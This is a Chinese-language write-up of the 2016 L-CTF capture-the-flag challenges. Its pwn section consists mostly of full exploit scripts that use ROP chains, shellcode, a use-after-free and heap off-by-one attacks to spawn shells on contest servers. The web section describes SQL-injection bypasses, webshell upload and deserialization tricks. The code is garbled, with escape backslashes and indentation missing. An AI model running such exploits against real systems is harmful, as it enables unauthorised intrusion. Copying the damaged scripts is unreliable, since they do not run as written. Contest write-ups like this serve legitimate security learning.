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2016 第一届全国网络安全对抗赛(L-CTF)解题报告
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签到题
过滤了相关字符，and,select,updatexml双写绕过就好，空格用/**/代替，拿到密码we1c0me%_#2&_@LCTF。进去之后发现任意提交passwd提示密码不对，让num=0，passwd=5487即可。
我控几不主我及几啦
虽然说写了waf，但是sqlmap照样能过XD。各种tamper加上就好了：
苏达学姐的网站
题目一共分为三步
第一步是一个正则绕过：
题目的正则应该是^php://.*resource=(.*$这种形式，而且第一步应该先会检测是否是图片，于双次绕过就好了:
再读一下file/admin.php.txt：
熟悉的CBC字节翻转攻击：
拿到cookie之后，登录进去发现是一个上传页面，测试后发现可以上传ini文件，于是通过上传.user.ini文件，getshell，菜刀连上发现flag：
睡过了
前几天刚爆出来的漏洞，关于magic函数wakeup在反序列化数据时，如果属性过多导致wakup失效，具体文章可以自己找下。利用+号以及修改属性值绕过，最后利用glob绕过open_basedir，在/var/www/flag目录下发现flag：
headpic
感觉学到很多的一个题目：
首先是二次盲注，我们发现随意注册一个用户进入之后会有修改用户头像的地方，而主办方放的提示是二次注入，猜测修改头像时，会把用户名带入查询，如果查询错误，头像返回就是空，如果不是，则头像返回就会有长度，于是利用mid函数就可以了，py小脚本上一发：
得到用户密码：1d5afc15d99fe43fb602b25f3b5d2ee0
Cmd5解密是1admin2016
然后fuzz下目录，发现有admin.php以及robots.txt，用户更换图片地方存在ssrf（但是没什么用?不过能看源码）：
主办方提示了比较函数，而直接admin账户登录是显示账户错误的，于是user[]数组绕过即可，最后拿到flag：
你一定不能来这
比较好玩的一个题目，虽然最后看运气，首先fuzz下目录，发现：
然后访问下：
下载下download.php:
Hash长度扩展攻击，利用py下的hashpumpy爆破下secert的长度就可以了：
得到长度是18：
然后下载www.rar，发现有密码QAQ，hex编辑器打开在最后发现jjencode代码，github上有解密的脚本：
YoU CAN gET Some INterESted Thing If You CAN deCOde Me In tImE.
培根密码：XXDDCCTTFF
拿到源码之后，没有什么逻辑，就是爆破time时间戳与rand随机数1-10000结合之后的md5：
于是burp或者自己写多线程脚本跑就好了：
要注意，抓包获得的时间并不是东八区北京时间，所以需要加8才能算对，感谢主办方后期心疼我们改了时间，要不然根本出不来= =
Pwn
Pwn100
很明显的栈溢出，然后就是构造ROP，泄露libc地址，调用system(“/bin/sh”)
from pwn import *
DEBUG = 0
if DEBUG:
context.log_level = 'debug'
io = process('./pwn100')
gdb.attach(io)
else:
io = remote('119.28.63.211', 2332)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn100')
puts_got_addr = elf.got['puts']
read_got_addr = elf.got['read']
puts_plt_addr = elf.symbols['puts']
read_plt_addr = elf.symbols['read']
pop_rdi_ret_addr = 0x0000000000400763
pop_rsi_pop_r15_ret_addr = 0x0000000000400761
pop_pop_pop_pop_ret_addr = 0x000000000040075d
rsp = 0x00601300
payload = 'A' * 0x40 + 'B' * 0x8 + p64(pop_rdi_ret_addr) + p64(puts_got_addr) + p64(puts_plt_addr)
payload += p64(pop_rdi_ret_addr) + p64(read_got_addr) + p64(puts_plt_addr)
payload += p64(pop_rdi_ret_addr) + p64(0) + p64(pop_rsi_pop_r15_ret_addr) + p64(rsp) + p64(1) + p64(read_plt_addr)
payload += p64(pop_pop_pop_pop_ret_addr) + p64(rsp)
payload = payload.ljust(0xC8, 'A')
raw_input('go?')
io.send(payload)
io.recvline()
libc_puts_addr = u64(io.recvline()[:6] + 'x00x00')
libc_read_addr = u64(io.recvline()[:6] + 'x00x00')
libc_base_addr = libc_puts_addr - 0x00070c70
libc_system_addr = libc_base_addr + 0x000468f0
bin_sh_addr = libc_base_addr + 0x0017dbc5
# libc_system_addr = libc_puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
# bin_sh_addr = libc_puts_addr - (libc.symbols['puts'] - next(libc.search('/bin/sh')))
log.info('libc_puts_addr:%s' % hex(libc_puts_addr))
log.info('libc_read_addr:%s' % hex(libc_read_addr))
payload2 = p64(1) * 3
payload2 += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(libc_system_addr)
io.sendline(payload2)
io.interactive()Pwn200
首先IDA静态分析，400A8E函数存在一个栈地址泄漏
继续分析程序流程，在4007DF处发现输入的ID第一位为0时直接结束该函数执行然后去执行400A29，该函数中有strcpy存在很明显的栈溢出。
又因40096D中调用free，所以直接将shellcode起始地址覆盖free_plt，调用free时直接开sh:
#!/usr/bin/env python
from pwn import *
DEBUG = 0
if DEBUG:
p = process('./pwn2003sw54ed65rf7t')
else:
p = remote('119.28.63.211', 2333)
#pwntools shellcraft
shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
#some address
free_plt = 0x0000000000602018
def pwn():
p.recvuntil('who are u?n')
p.send(shellcode.ljust(48))
p.recvuntil(shellcode.ljust(48))
leak_addr = u64(p.recvn(6).ljust(8, 'x00'))
shellcode_addr = leak_addr - 0x50
print 'shellcode addr: ' + hex(shellcode_addr)
p.recvuntil('give me your id ~~?n')
p.sendline('0')
p.recvuntil('give me money~n')
payload = p64(shellcode_addr).ljust(56, 'x00') + p64(free_plt)
p.send(payload)
p.sendline('2')
p.interactive()
if __name__ == '__main__':
pwn()
Pwn300
拿到程序运行发现缺少lib，readelf看一下发现程序需要两个特殊的库: libio和libgetshell，用ida分析可以很轻松找到栈溢出，利用栈溢出将libgetshell dump下来看到一个名为getshell的函数，跳到那里就可以拿shell。
脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
from hexdump import hexdump
import os, sys
# switches
DEBUG = 0
LOCAL = 0
VERBOSE = 1
# modify this
if LOCAL:
io = process('./pwn300kh6y5gt3treg')
else:
io = remote('119.28.63.211',2339)
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def recursive():
for i in xrange(10):
ru('fuck me!n')
payload = 40 * 'a' + p64(0x4004a9)
sn(payload.ljust(0xa0))
return
def leak(addr, length=40):
ru('fuck me!n')
pad = 40 * 'A'
pop6 = 0x40049e
callframe = 0x400484
write_got = 0x601018
payload = pad + p64(pop6) + p64(write_got) + p64(length) + p64(addr) + p64(1) + p64(callframe) + p64(0) * 7 + p64(0x4004A9)
print len(payload)
assert len(payload) <= 0xa0
sn(payload.ljust(0xa0))
return ra(length)
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
recursive()
dynelf = DynELF(leak, elf=ELF("./pwn300kh6y5gt3treg"))
#r = leak(0x601018)
#hexdump(r)
libgetshell = dynelf.lookup(None, "libgetshell")
getshell = dynelf.lookup('getshell', 'libgetshell')
info("Libgetshell = " + hex(libgetshell))
info("Getshell = " + hex(getshell))
ru('fuck me!n')
payload = 40 * 'a' + p64(getshell)
sn(payload.ljust(0xa0))
'''
f = open('libgetshell.dump', 'wb')
while 1:
f.write(leak(libgetshell, 0x1000))
libgetshell += 0x1000
'''
io.interactive()
return
if __name__ == '__main__':
pwn()
Pwn400
一个C++写的rsa加解密程序，在解密的时候可以泄露keypair(在堆上)的地址，同时解密完后会有uaf。在堆上构造fake vtable，uaf占位即可。
脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
from hexdump import hexdump
import os, sys
# switches
DEBUG = 0
LOCAL = 0
VERBOSE = 1
# modify this
if LOCAL:
io = process('./pwn400')
else:
io = remote('119.28.62.216',10023)
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def menu():
return ru('exitn')
def addcipher(keychain='0',p=3,q=5):
menu()
sl('1')
ru('Non')
sl(keychain)
if keychain == '1':
ru('p:')
sl(str(p))
ru('q:')
sl(str(q))
return
def encrypt(length,data):
menu()
sl('2')
ru(')n')
sl(str(length))
ru('n')
sn(data)
return
def decrypt(length,data):
menu()
sl('3')
ru(')n')
sl(str(length))
ru('textn')
sn(data)
return
def comment(data):
menu()
sl('4')
ru('RSA')
sn(data)
return
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
addcipher(keychain='1')
encrypt(64, 64*'a')
ru(': ')
rn(512)
heapleak = u64(ru('n')[:-1].ljust(8,'x00'))
heap = heapleak - 0x270
info("Heap Leak = " + hex(heap))
decrypt(64, 128*'0') # uaf
fake_vtable = heap + 0x40
payload = p64(fake_vtable) + 5 * p64(1) + p64(0xdeadbeef) * 4 + p64(0x0000000000401245) + p64(0x401245)
payload = payload.ljust(128)
comment(payload)
poprdi = 0x0000000000402343
ropchain = p64(poprdi)
ropchain += p64(0x604018)
ropchain += p64(0x400BE0)
ropchain += p64(0x401D9D) # back to main
decrypt(256,ropchain.ljust(512))
offset___libc_start_main_ret = 0x21ec5
offset_system = 0x00000000000468f0
offset_dup2 = 0x00000000000ece70
offset_read = 0x00000000000ec690
offset_write = 0x00000000000ec6f0
offset_str_bin_sh = 0x17dbc5
'''
offset___libc_start_main_ret = 0x21f45
offset_system = 0x0000000000046590
offset_dup2 = 0x00000000000ebe90
offset_read = 0x00000000000eb6a0
offset_write = 0x00000000000eb700
offset_str_bin_sh = 0x17c8c3
'''
#offset_printf = 0x0000000000054340
offset_printf = 0x00000000000546b0
libc = u64(rn(6).ljust(8, 'x00')) - offset_printf
info("Libc = " + hex(libc))
ropchain = p64(poprdi)
ropchain += p64(libc + offset_str_bin_sh)
ropchain += p64(libc + offset_system)
decrypt(256, ropchain.ljust(512))
io.interactive()
return
if __name__ == '__main__':
pwn()
Pwn500
漏洞点在读入固定长度内容时有nullbyte off-by-one。利用方式和google project zero的https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html 这篇文章相似，通过伪造prev_size和in_use位来达到chunk overlapping的效果。具体利用见脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
import os, sys
os.environ['LD_PRELOAD'] = './libc_xd.so'
# switches
DEBUG = 0
LOCAL = 0
VERBOSE = 1
# modify this
if LOCAL:
io = process('./pwn500')
else:
io = remote('119.28.62.216',10024)
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def enterGame(char='y'):
ru('n)?n')
sl(char)
return
def menu():
return ru(':')
def senderinfo(name,contact):
menu()
sl('1')
ru('?')
sn(name)
ru('?')
sn(contact)
return
def submitpack():
menu()
sl('6')
return
def showrcvr():
menu()
sl('5')
return
def deletercvr(index):
menu()
sl('4')
ru('?')
sl(str(index))
return
def newrcvr():
menu()
sl('2')
return
def setReceiver(name,postcode,contact,address):
menu()
sl('1')
ru('?')
sn(name)
ru('?')
sn(postcode)
ru('?')
sn(contact)
ru('?')
sn(address)
return
def newPackage(length, data):
menu()
sl('2')
ru('?')
sl(str(length))
ru('~')
sn(data)
return
def savePackage():
menu()
sl('5')
return
def exitAddRecv():
menu()
sl('6')
return
def deletePackage(index):
menu()
sl('3')
ru('?')
sl(str(index))
return
def editrcvr(index,name,postcode,contact,address):
menu()
sl('3')
ru('?')
sl(str(index))
ru('?')
sn(name)
ru('?')
sn(postcode)
ru('?')
sn(contact)
ru('?')
sn(address)
return
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
enterGame()
senderinfo('1n', '1n')
newrcvr()
setReceiver('1n', '1n', '1n', '1n')
newPackage(160, 'a'.ljust(159,'a')+'n')
newPackage(160, 'b'.ljust(159,'b')+'n')
newPackage(160, 'c'.ljust(159,'c')+'n')
newPackage(8, 'padn') # sep
newPackage(160, 'd'.ljust(159,'d')+'n')
newPackage(224, 'e'.ljust(223,'e')+'n')
#newPackage(160, 'fn')
deletePackage(2)
deletePackage(1)
savePackage()
newrcvr()
setReceiver('2n', '2n', '2n', '2n') # take original 2
newPackage(160, 'x'*152 + p64(816)) # take 1, off by one
deletePackage(3) # delete 3
deletePackage(3) # wild chunk overlap
savePackage()
newrcvr()
exitAddRecv()
newrcvr()
setReceiver('3n', '3n', '3n', '3n')
newPackage(0x1f0, 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAA' + p64(0x602ff0) + p64(0x0) + 'n')
exitAddRecv()
editrcvr(0, '1n', '1n', '1n', '/bin/sh;n')
showrcvr()
for i in xrange(2): ru('address:')
addr = u64(rn(6).ljust(8,'x00')) - 0x00000000000ec690
info("Libc leak = " + hex(addr))
system = addr + 0x468f0
read = addr + 0xec690
editrcvr(1, '1n', '1n', p64(system)[:-1] + 'n', p64(read)[:-1] + 'n')
editrcvr(0, 'xn', 'xn', 'xn', 'xn')
io.interactive()
return
if __name__ == '__main__':
pwn()
Misc
Misc150
ntfs流提取出一个zip压缩包，把最后部分的空白那几行去掉0d 0a，然后LSB每7位表示一个字节，得到flag为6d3677dd
challenge_how_many_Vigenère
提示是维吉尼亚密码，而且没给秘钥，gg下找到一个爆破网址：
https://www.guballa.de/vigenere-solver，秘钥长度3-120：
得到明文：
Aliceleavestheteapartyandentersthegardenwhereshecomesuponthreelivingplayingcardspaintingthewhiterosesonarosetreeredbecausethequeenofheartshateswhiterosesaprocessionofmorecardskingsandqueensandeventhewhiterabbitentersthegardenalicethenmeetsthekingandqueenthequeenafiguredifficulttopleaseintroduceshertrademarkphraseoffwithhisheadwhichsheuttersattheslightestdissatisfactionwithasubjectaliceisinvitedorsomemightsayorderedtoplayagameofcroquetwiththequeenandtherestofhersubjectsbutthegamequicklydescendsintochaosliveflamingosareusedasmalletsandhedgehogsasballsandaliceonceagainmeetsthecheshirecatthequeenofheartsthenordersthecattobebeheadedonlytohaveherexecutionercomplainthatthisisimpossiblesincetheheadisallthatcanbeseenofhimbecausethecatbelongstotheduchessthequeenispromptedtoreleasetheduchessfromprisontoresolvethemattergg下，发现是（爱丽丝梦游仙境?）：
根据题目要求进行加密得到flag。
easy100
动态调试发现加密密钥为htsii__sht_eek.y，然后aes加密，加密后的字符为{21, -93, -68, -94, 86, 117, -19, -68,-92, 33, 50, 118, 16, 13, 1, -15, -13, 3, 4, 103, -18, 81, 30, 68, 54, -93, 44, -23,93, 98, 5, 59}，解密出来即是flag。
Easyeasy200
So里面检测了调试环境，patch检测的字符串即可绕过，点击的button被隐藏了，在右下角，绕过反调试后后动态调试下发现取出输入的5-38位后进行逆置，对逆置的字符串进行base64编码后和dHR0dGlldmFodG5vZGllc3VhY2VibGxlaHNhdG5hd2k进行比较，解密出来再逆置回去即是flag：iwantashellbecauseidonthaveitttt
Misc400
流量中发现攻击者首先利用proftpd的一个洞上传了webshell然后反弹shell了一个4444端口。利用4444端口的shell写了一个新的webshell进来。然后利用新的webshell下载了两个图片文件。
两个图片文件异或后获得一个python脚本。
import sys
key = '******************'
flag = 'AES_key{***************}'
if len(key) % 2 == 1:
print("Key Length Error")
sys.exit(1)
n = len(key) / 2
encrypted = ''
for c in flag:
c = ord(c)
for a, b in zip(key[0:n], key[n:2*n]):
c = (ord(a) * c + ord(b)) % 251
encrypted += '%02x' % c
print encrypted
#encrypt="cc90b9054ca67557813694276ab54c67aa93092ec87dd7b539"用一个脚本解出AES_key
m="cc90b9054ca67557813694276ab54c67aa93092ec87dd7b539"
def process(a,b,m):
return "".join(map(chr,map(lambda x: (x*a+b)%251,map(ord,m.decode('hex')))))
for i in xrange(255):
for j in xrange(255):
if "AES_key{" in process(i,j,m):
print process(i,j,m)
#AES_key{FK4Lidk7TwNmRWQd}关于原理可以看下的MMACTF 2016的Super Express
然后发现一段奇怪的DNS请求，将数据取出然后用上面算出的aeskey解密。
#!/usr/bin/env python
# encoding:utf-8
__author__ = 'albertchang'
from Crypto.Cipher import AES
from Crypto import Random
import base64
def decrypt(data, password):
unpad = lambda s: s[0:-ord(s[-1])]
iv = data[:16]
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.decrypt(data[16:])
return data
if __name__ == '__main__':
password = 'FK4Lidk7TwNmRWQd'
encrypt_data1 = base64.b64decode(
'OYzmTh2MGNclc5gALl+2lJ/xu58d4dAtidJc2w4dRhB1cuh/pXAt17QSjEIFMPiSE6w+DXpXJk9zm0FD39MGvwL4ZNpr2YndIPnjnb0W3xNeP+e5r//GhTYkNTdPo4xpT4d+HMihDB1mZNcQ8Gib69l5NlqC8PFjEeABWPfJezqG0LozsEjukHJOCMhVlRrirtkI7/ExFZAgH+G1i/gaw84nJ0DbGXQEpA2wySh6/iXeJD1ZYgt7jRgKLCL6CGggxsAEP9+m3QTZkxEitNqplA==')
encrypt_data2 = base64.b64decode(
'Mvw3nE7h3GtoC0xqGKmjboBW7h+WyH+QhJRd1EL+Qc7cgRAaVNYwWrWDMByHOIlSig+MvEg0GTihcnuNdgRpD4fgmEgjvAvScqJkQUes+Mxbi4NNkCv6YANnbGFbZSUVs3YbulPu6Xzj+/nBmJcOsti94BHja8Cjym4l2qpmIkjR6kONAs2e7uAkduLR1zH9')
decrypt_data1 = decrypt(encrypt_data1, password)
print 'decrypt_data1:n', decrypt_data1
decrypt_data2 = decrypt(encrypt_data2, password)
print 'decrypt_data2:n', decrypt_data2得到
Please submit the used ftp CVE ID like "CVE********"and LCTF{A11_1n_0ne_Pcap} as your flag.eg."CVE12345678A11_1n_0ne_Pcap"
搜到https://www.exploit-db.com/exploits/36803/
故CVE20153306A11_1n_0ne_Pcap
Reverse
Re100
用ida可以看到程序不停的使用QMetaObject的activate方法来调用其它的函数。由于对Qt不太熟我选择在各关键函数上下断点看call stack，一层层追溯回去可以找到加密的地方，写出对应的解密代码。（解密得到的flag最后不知道为啥有几位是不可见字符，不过根据其它位置可以猜出来…）
脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from ctypes import *
from hexdump import hexdump
iv = 'Cirno'
def ror8(x,bits):
r = (((x >> bits) & 0xff) | ( x << (8-bits))) & 0xff
return r
def dexor_2(data):
g = []
for i in xrange(5):
t = ord(data[i])
k = ord(iv[i])
g.append(ror8(t^k,4))
return ''.join(map(lambda x:chr(x), g))
def dexor_1(data,key):
g = []
for i in xrange(5):
t = ord(data[i])
k = ord(key[i])
g.append(t^k)
return ''.join(map(lambda x:chr(x), g))
encdata = '''
D9 EF 31 06 88 D6 00 62
B1 07 48 6A 73 80 18 01
D9 D2 75 08 25 01 18 BF
FC 26 8C 85 83 76 12 31
BA C6 98
'''.replace('n','').replace(' ','').decode('hex')
hexdump(encdata)
s = ''
for i in xrange(6):
k = dexor_2(encdata[30-5*i:35-5*i])
k = dexor_1(k,encdata[25-5*i:30-5*i])
s = k + s
print k
print s
print dexor_2(encdata[0:5])
hexdump(s)
hexdump(dexor_2(encdata[0:5]))
# flag = 'LCTF{Th4nk_y0u_f0r_play1ng_th1s_gam3}'Re200
程序最后一步是维吉尼亚加密，把密文仍到https://www.guballa.de/vigenere-solver 里得到密钥ieedcpgdhkedddfenkfaifgggcgbbbgf，然后根据程序对原始密钥的转换过程得到原始密钥
byte_804A440 = 0
byte_804A441= 0
def process0():
global byte_804A440
global byte_804A441
v0 = byte_804A441 & 0xF0 | byte_804A440 & 0xF
byte_804A440 = (byte_804A440 & 0xF0 | byte_804A441 & 0xF) ^ 0x99
byte_804A441 = v0 ^ 0x55
def process1():
global byte_804A440
global byte_804A441
byte_804A440 ^= byte_804A441
v0 = byte_804A441 >> 4
byte_804A441 = v0 | (16 * byte_804A441 & 0xFF)
def process2():
global byte_804A440
global byte_804A441
v0 = byte_804A440 >> 4
byte_804A440 = (16 * byte_804A441 & 0xFF) | (byte_804A440 & 0xF)
byte_804A441 = v0 | byte_804A441 & 0xF0
def process3():
global byte_804A440
global byte_804A441
byte_804A440 ^= 16 * byte_804A440 & 0xFF
byte_804A441 ^= 16 * byte_804A441 & 0xFF
def generate(key):
global byte_804A440
global byte_804A441
if (len(key) & 1) == 1:
key += 'x53'
key2 = []
key3 = []
cipher = []
for i in range(0, len(key), 2):
byte_804A440 = ord(key[i])
byte_804A441 = ord(key[i+1])
choice = (byte_804A440 >> 2) & 3
if choice == 0:
process0()
elif choice == 1:
process1()
elif choice == 2:
process2()
elif choice == 3:
process3()
key2.append(byte_804A440)
key2.append(byte_804A441)
for num in key2:
key3.append((num & 0xF) + 0x61)
key3.append((num >> 4) + 0x61)
return ''.join([chr(num) for num in key3])
final_key = 'ieedcpgdhkedddfenkfaifgggcgbbbgf'
origin_key = ''
for n in range(0, len(final_key), 4):
part_key = final_key[n:n+4]
for i in range(0x20, 0x7f):
for j in range(0x20, 0x7f):
key = chr(i) + chr(j)
key_stream = generate(key)
if key_stream == part_key:
origin_key += key
print origin_key
在反推nkfa时可得到两个结果，根据语义得到Flag为H4ck1ngT0TheGate
Re300
程序接受管理服务器发来的控制指令进行相应的操作，根据流量包，管理服务器发送了DDos的SYN攻击指令，但是对指令数据做了AES加密，分析程序可得到key，于是解密
from Crypto.Cipher import AES
data1 = [
0x06, 0x00, 0x00, 0x00, 0xf1, 0x4e, 0x0b, 0xfe,
0x2d, 0x94, 0xc3, 0x5c, 0x4b, 0xc6, 0x3a, 0x63,
0x54, 0x0d, 0xd5, 0x25, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0xb1, 0x2b, 0x36, 0xee,
0xda, 0xb3, 0x5c, 0x0b, 0x08, 0x9f, 0x58, 0x7e,
0x20, 0xeb, 0x8d, 0x01, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x47, 0x8d, 0x65, 0x40,
0x86, 0xb4, 0x7b, 0xd5, 0xb6, 0x4b, 0x40, 0xf6,
0xd6, 0x8d, 0x61, 0xd8, 0xb2, 0xed, 0xf9, 0x5c,
0x17, 0xe1, 0xc8, 0xae, 0x73, 0x19, 0x3c, 0x50,
0x45, 0xd5, 0x7a, 0xee, 0xcc, 0x31, 0x00 ]
data2 = []
key = 'x2Bx7Ex15x16x28xAExD2xA6xABxF7x15x88x09xCFx4Fx3C'
cipher = AES.new(key)
for i in range(0, 0x1a):
encrypt_data = data1[4+i*16:4+16+i*16]
plain = cipher.decrypt(''.join([chr(num) for num in encrypt_data]))
data2.append(plain)
print data2得到ip为172.16.20.59，port为80，md5(ip:port)就得到flag
Re400
考查区块链的知识，幸亏之前听过实验室的小伙伴分享，给的magic_file是一个区块链记录，具体的是每个区块80个字节，每个块中的第4-36字节是上一块的hash值，第76-80字节是nonce，但是发现这个区块链中除了开始几个区块之外后面的区块的nonce都被清除了，程序的开始部分是在计算出每个区块的nonce值，由于一共有3400个区块，因此计算出所有的nonce需要花费很长的时间，另外最后的区块的hash值00000000d66d589aa63025b450d32cc7679e3969d62b240b348332acc16eb582，通过google发现这个区块链是公开的，因此就可以知道这个区块链所有区块的nonce，接下来可以通过查询区块的api获得之前所有区块的nonce
import requests
r = requests.get('https://chain.api.btc.com/v3/block/00000000d66d589aa63025b450d32cc7679e3969d62b240b348332acc16eb582')
data = r.json()
end = 0x7c2bac1d
file = open('nonce', 'w')
while (True):
file.write(str(data['data']['nonce']) + 'n')
if data['data']['nonce'] == end:
print 'end'
break
r = requests.get('https://chain.api.btc.com/v3/block/%s' % data['data']['prev_block_hash'])
data = r.json()然后把获得的nonce写进每个区块
import pwn
file1 = open('magic_file', 'rb')
file2 = open('nonce')
file3 = open('origin_magic_file', 'wb')
data1 = file1.read()
data1 = list(data1)
data2 = file2.readlines()
data3 = []
for line in data2:
data3.append(pwn.p32(int(line[:-1])))
for i in range(0, 3400):
data1[i*80+76] = data3[3399 - i][0]
data1[i*80+77] = data3[3399 - i][1]
data1[i*80+78] = data3[3399 - i][2]
data1[i*80+79] = data3[3399 - i][3]
file3.write(''.join(data1))
file3.close()最后使用生成的magic_file运行程序得到flag，另外CPU需要支持AVX指令集才能正常运行程序。
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